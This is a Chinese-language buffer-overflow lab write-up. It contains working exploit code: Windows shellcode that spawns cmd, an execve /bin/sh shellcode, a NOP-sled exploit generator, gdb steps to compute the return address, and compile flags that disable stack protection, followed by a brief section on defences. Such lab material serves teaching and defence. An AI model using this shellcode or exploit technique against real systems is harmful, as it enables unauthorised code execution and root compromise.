一、實驗簡介
緩沖區溢出是指程序試圖向緩沖區寫入超出預分配固定長度數據的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片段。這一漏洞的出現是由於數據緩沖器和返回地址的暫時關閉,溢出會引起返回地址被重寫。
原理詳解:
緩沖區是內存中存放數據的地方。在程序試圖將數據放到機器內存中的某一個位置的時候,因為沒有足夠的空間就會發生緩沖區溢出。而人為的溢出則是有一定企圖的,攻擊者寫一個超過緩沖區長度的字符串,植入到緩沖區,然后再向一個有限空間的緩沖區中植入超長的字符串,這時可能會出現兩個結果:一是過長的字符串覆蓋了相鄰的存儲單元,引起程序運行失敗,嚴重的可導致系統崩潰;另一個結果就是利用這種漏洞可以執行任意指令,甚至可以取得系統root特級權限。
緩沖區是程序運行的時候機器內存中的一個連續塊,它保存了給定類型的數據,隨着動態分配變量會出現問題。大多時為了不占用太多的內存,一個有動態分配變量的程序在程序運行時才決定給它們分配多少內存。如果程序在動態分配緩沖區放入超長的數據,它就會溢出了。一個緩沖區溢出程序使用這個溢出的數據將匯編語言代碼放到機器的內存里,通常是產生root權限的地方。僅僅單個的緩沖區溢出並不是問題的根本所在。但如果溢出送到能夠以root權限運行命令的區域,一旦運行這些命令,那可就等於把機器拱手相讓了。
通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,進而運行精心准備的指令,以達到攻擊的目的。
二、緩沖區溢出實例
1、利用數組越界進行緩沖區溢出
#include<stdio.h>
void HelloWord()
{
printf("Hello World");
getchar();
}
void Fun()
{
int arr[5] = {1,2,3,4,5};
arr[6] = (int) HelloWord;
}
int main()
{
Fun();
return 0;
}
2、利用strcpy()函數進行緩沖區溢出攻擊
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
char shellcode3[] = "\x68\x72\x6F\x63\x41\x68\x47\x65"
"\x74\x50\xE8\x41\x00\x00\x00\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F"
"\x61\x64\xE8\x31\x00\x00\x00\x50\x68\x72\x74\x00\x00\x68\x6D\x73"
"\x76\x63\x54\xFF\xD0\x83\xC4\x08\x68\x65\x6D\x00\x00\x68\x73\x79"
"\x73\x74\x54\x50\xFF\x54\x24\x14\x83\xC4\x08\x68\x63\x6D\x64\x00"
"\x54\xFF\xD0\x83\xC4\x14\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00"
"\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33"
"\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B"
"\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54"
"\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B"
"\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C"
"\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08\x00";
#pragma comment(linker, "/section:.data,RWE")
void Sub_3()
{
__asm
{
mov eax, offset shellcode3
jmp eax
}
}
void overflow(const char* input)
{
char buf[8];
printf("Virtual address of 'buf' = Ox%p\n", buf);
strcpy(buf, input);
}
void fun()
{
printf("Function 'fun' has been called without an explicitly invocation.\n");
printf("Buffer Overflow attack succeeded!\n");
}
int main()
{
printf("Address of 'overflow' = Ox%p\n", overflow);
printf("Sddress of 'fun' = Ox%p\n", fun);
printf("Sddress of 'Sub3' = Ox%p\n", Sub_3);
char input[] = "AAAbbbbbbaaa\xA5\x10\x41\x00";
//char input[] = "AAAAAAA";
overflow(input);
return 0;
}
3、本次實驗用的測試代碼為:
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
一般情況下,緩沖區溢出會造成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址,那么程序就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用於實現其他功能,這段代碼就是 shellcode。
本次實驗的 shellcode,就是剛才代碼的匯編版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
GCC編譯器有一種棧保護機制來阻止緩沖區溢出,所以我們在編譯代碼時需要用 –fno-stack-protector
關閉這種機制。 而 -z execstack
用於允許執行棧
-g
參數是為了使編譯后得到的可執行文檔能用 gdb 調試。
在同一目錄下(/tmp)創建兩個c源文件
stack.c
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
exploit.c
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個字節覆蓋sellcode地址
strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設為了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
輸入命令:gdb stack
disass main
進入gdb調試
esp 中就是 str 的起始地址,所以我們在地址 0x080484ee 處設置斷點。
再設置斷點找出str的地址
// 設置斷點
b *0x080484ee
r
i r $esp
最后獲得的這個 0xffffcfb0 就是 str 的地址。
根據語句 strcpy(buffer + 100,shellcode); 我們計算 shellcode 的地址為 0xffffcfb0 + 0x64 = 0xffffd014
現在修改 exploit.c 文件,將 \x??\x??\x??\x?? 修改為計算的結果 \x14\xd0\xff\xff,注意順序是反的。
先運行攻擊程序 exploit,再運行漏洞程序 stack,觀察結果:
可見,通過攻擊,獲得了root 權限!
三、預防緩沖區溢出的方法
有四種基本的方法保護緩沖區免受緩沖區溢出的攻擊和影響。
- 通過操作系統使得緩沖區不可執行,從而阻止攻擊者植入攻擊代碼。
- 強制寫正確的代碼的方法。
- 利用編譯器的邊界檢查來實現緩沖區的保護。這個方法使得緩沖區溢出不可能出現,從而完全消除了緩沖區溢出的威脅,但是相對而言代價比較大。
- 一種間接的方法,這個方法在程序指針失效前進行完整性檢查。雖然這種方法不能使得所有的緩沖區溢出失效,但它能阻止絕大多數的緩沖區溢出攻擊。分析這種保護方法的兼容性和性能優勢。